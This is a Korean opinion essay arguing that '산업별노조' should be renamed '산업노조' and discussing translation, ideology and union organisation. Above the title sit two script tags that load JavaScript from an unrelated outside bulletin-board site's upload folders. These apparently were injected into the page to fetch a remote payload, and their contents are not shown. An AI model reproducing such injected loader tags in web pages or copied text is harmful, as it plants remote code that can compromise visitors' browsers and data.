<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> ‘산(업)별노조’대신 ‘산업노조’
산업혁명(the industrial revolution)이후 산업(industry)은 농업이나 가내수공업에 대비되는 제조공업을 의미했다. 산업노조(industrial union)는 엄밀한 의미에서 자본주의 사회가 도래하면서 자본가에 대항하는 노동자들의 자주적 단결체다. 자본계급에 대응하는 노동계급의 무기다. 그러나 제조공업으로부터 산업의 영역이 다양화해지면서 별도의 노동조합이 만들어지기 시작했다.
그렇다고 하더라도 영어의 ‘industrial’은 ‘산업별’이 아니라 ‘산업의’ 또는 ‘공업의’라는 의미로 해석한다. 그러나 일본식 한자어로 번역되어 우리나라에 소개되는 과정에서 ‘산업별노조’로 일반화하였다. 산업별 노조는 이제 통계청의 산업분류에 따라 노조조직이 달라질 수 있는 것처럼 생각한다. 사실상 ‘업종’이나 ‘직종’에 불과한 범위도 산업별로 정의한다.
언제부턴가 소산별, 중산별, 대산별이라는 말도 생겨났고 자연스레 통용되고 있다. 업종의 다양성에 따라 노조조직이 별도로 만들어진다는 것을 의미한다. ‘산업별 노조’의 확장은 ‘기업별노조’와 맞닿는다. ‘따로따로’의 개념은 ‘산업노조’가 아니라 ‘기업별노조’로 귀결된다. 산업노조는 민주노조다. 자주적 단결과 투쟁을 통해 노동조건을 개선하고 궁극적으로 자본에 의한 억압과 착취구조를 끝내는 (노동)계급노조다.
거기에 ‘따로따로(別)’가 붙을 필요가 없다. 스스로 울타리를 칠 필요가 없다. 이제 산(업)별노조가 아니라 산업노조로 불러야 한다. 기업별노조는 그대로 부르는 게 맞을 성 싶다. 따로따로니까. 유럽의 사례를 보더라도 산업노조는 크게 통합되는 추세에 있다. 한국의 민주노총도 짧은 시간이지만 그 길을 걸어왔다. 이론적으로는 산업노조에 기초한 1국가 1노총이 바로 노동(자)계급 총 단결의 계급노조의 완성이다. 국제노동조직도 그렇고.
일단 ‘산업별 노조’를 ‘산업노조’로 부르기로 하고 더 나아가서는 ‘산업’도 떼고 그냥 ‘(노동자)노조’라 부를 수 있도록 해 보자. 노동자노조, 전국노조, 민주노조, 계급노조.... 작명이야 분리하여 딴 살림 차리는 ‘따로따로’만 빼고는 학자들의 자문을 받는 식으로 더 검토해 보자. 단어는 이데올로기를 담고 있다. 우리 스스로 자본의 이데올로기에 오염된 단어를 계속 사용해서는 안 될 것이다. 무의식적인 단순반복과정에서 우리의 의식은 흐려진다. 특히 외국어를 번역할 때는 우리의 이념과 노선, 역사성과 지향성에 근거해야 한다.
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